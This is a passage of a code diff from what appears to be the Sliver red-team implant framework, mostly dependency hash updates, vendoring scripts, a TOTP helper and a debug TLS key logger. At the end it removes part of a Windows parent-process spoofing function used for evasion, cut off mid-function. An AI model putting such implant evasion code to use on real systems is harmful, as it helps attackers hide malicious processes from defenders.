+github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
+github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
+github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
 github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
 github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
+github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
+github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
+github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
+github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
+github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
+github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
+github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
+github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
+github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
+github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
+github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
+github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
+github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
+github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
+github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
@@ -45,50 +74,101 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
 github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
 github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
 github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
 github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
 github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
+github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
 golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
-golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI=
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
+golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
+golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
+golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
+golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
 golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
+golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
-golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
-golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f h1:v4INt8xihDGvnrfjMDVXGxw9wrfxYyCjk0KbXjhR55s=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
-golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
-golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs=
+golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
-golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
+golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
+golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93 h1:nb+w1m5cgug4cfeqcWJx4lcj8cYA+wWAz7aGI96Wp/Q=
-golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93/go.mod h1:a057zjmoc00UN7gVkaJt2sXVK523kMJcogDTEvPIasg=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
+golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
+golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 h1:KwsvzlnmErwMd3BXoBSEuL8qU72QxFM/uOUAgZmavRc=
+golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24/go.mod h1:bVQfyl2sCM/QIIGHpWbFGfHPuDvqnCNkT6MQLTCjO/U=
 google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
 google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
 google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
 google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
 google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
-google.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM=
 google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
+google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
+google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
-inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
+gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=

implant/implant.go

@@ -32,4 +32,8 @@ var (
 	// GoSum - Templated go.sum module file for implant builds
 	//go:embed go-sum
 	GoSum string
+
+	// Vendor - Embedded FS access to vendored sliver implant dependencies
+	//go:embed vendor/**
+	Vendor embed.FS
 )

implant/scripts/update-vendor.go

@@ -0,0 +1,95 @@
+package main
+
+import (
+	"bytes"
+	"fmt"
+	"go/parser"
+	"go/token"
+	"io/fs"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// These are the directories imports will be taken from. If the implant
+// needs files outside of these dirs in the future, add the dirs to this
+// slice.
+var srcDirs = []string{
+	"../sliver",
+	"../../protobuf/commonpb",
+	"../../protobuf/dnspb",
+	"../../protobuf/sliverpb",
+}
+
+func fatalf(format string, a ...interface{}) {
+	panic(fmt.Sprintf(format, a...))
+}
+
+func getImports(imports map[string]struct{}, dir string) error {
+	fset := token.NewFileSet()
+	return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+
+		if d.IsDir() {
+			return nil
+		}
+		if !strings.HasSuffix(path, ".go") {
+			return nil
+		}
+
+		file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
+		if err != nil {
+			return err
+		}
+
+		for _, imp := range file.Imports {
+			impPath := strings.ToLower(imp.Path.Value)
+			// skip local packages, those shouldn't be vendored
+			if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
+				continue
+			}
+
+			imports[imp.Path.Value] = struct{}{}
+		}
+
+		return nil
+	})
+}
+
+func main() {
+	if len(os.Args) < 2 {
+		fatalf("expected temporary directory argument")
+	}
+
+	dir := os.Args[1]
+	imports := make(map[string]struct{})
+
+	// Parse Go files and build a unique list of all their 3rd party
+	// imports so we can build a vendor dir from them. Stdlib packages
+	// will be included as well but 'go mod vendor' will ignore them.
+	for _, srcDir := range srcDirs {
+		err := getImports(imports, srcDir)
+		if err != nil {
+			fatalf("error walking directory: %v", err)
+		}
+	}
+
+	// Create a Go source file containing only import statements of all
+	// the packages an implant might need, no matter what OS, transport,
+	// etc is configured.
+	var buf bytes.Buffer
+	buf.WriteString("package sliver\n\nimport (\n")
+	for imp := range imports {
+		buf.WriteString("\t _ ")
+		buf.WriteString(imp)
+		buf.WriteByte('\n')
+	}
+	buf.WriteString(")\n")
+
+	err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
+	if err != nil {
+		fatalf("error creating file: %v", err)
+	}
+}

implant/scripts/update-vendor.sh

@@ -0,0 +1,37 @@
+#!/bin/bash
+
+set -e
+
+cleanup() {
+  [ ! -z "$1" ] && echo "Error $1 occurred on $2"
+
+  mv "${tempDir}/vendor" "${pwd}/../vendor"
+  mv "${tempDir}/go.mod" "${pwd}/../go-mod"
+  mv "${tempDir}/go.sum" "${pwd}/../go-sum"
+  cd ..
+  rm -rf "$tempDir"
+}
+
+# we are expecting from run from sliver/implant via 'go generate'
+cd scripts
+
+# copy Go module related files
+pwd="$(pwd)"
+tempDir="$(mktemp -d)"
+cp ../go-mod "${tempDir}/go.mod"
+cp ../go-sum "${tempDir}/go.sum"
+mv ../vendor "${tempDir}/vendor"
+
+
+# Trap when a build fails so we can reset the environment
+trap 'cleanup $? $LINENO' ERR
+
+# build Go file with all imported packages
+go run update-vendor.go "$tempDir"
+cd "$tempDir"
+# update vendor dir
+go mod tidy -compat=1.17
+go mod vendor
+
+# move updated files back
+cleanup

implant/sliver/cryptography/crypto.go

@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	return ciphertext, nil
 }
 
+// GetExactOTPCode - Get the OTP code for a specific timestamp
+func GetExactOTPCode(timestamp time.Time) string {
+	code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
+	// {{if .Config.Debug}}
+	log.Printf("TOTP Code (%s): %s", timestamp, code)
+	// {{end}}
+	return code
+}
+
 // GetOTPCode - Get the current OTP code
 func GetOTPCode() string {
 	now := time.Now().UTC()

implant/sliver/cryptography/tlskeys.go

@@ -0,0 +1,42 @@
+package cryptography
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+)
+
+var (
+	// TLSKeyLogger - File descriptor for logging TLS keys
+	TLSKeyLogger = newKeyLogger()
+)
+
+func newKeyLogger() *os.File {
+	// {{if .Config.Debug}}
+	keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
+	if present {
+		keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+		if err != nil {
+			return nil
+		}
+		return keyFile
+	}
+	// {{end}}
+	return nil
+}

implant/sliver/evasion/evasion_windows.go

@@ -19,7 +19,6 @@ package evasion
 */
 
 import (
-	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"golang.org/x/sys/windows"
 
 	//{{if .Config.Debug}}
@@ -27,90 +26,9 @@ import (
 	//{{end}}
 	"debug/pe"
 	"io/ioutil"
-	"os/exec"
 	"unsafe"
 )
 
-func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
-	parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("OpenProcess failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	var procThreadAttributeSize uintptr
-	if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
-		//{{if .Config.Debug}}
-		log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	procHeap, err := syscalls.GetProcessHeap()
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("GetProcessHeap failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("HeapAlloc failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	defer syscalls.HeapFree(procHeap, 0, attributeList)
-	var startupInfo syscalls.StartupInfoEx
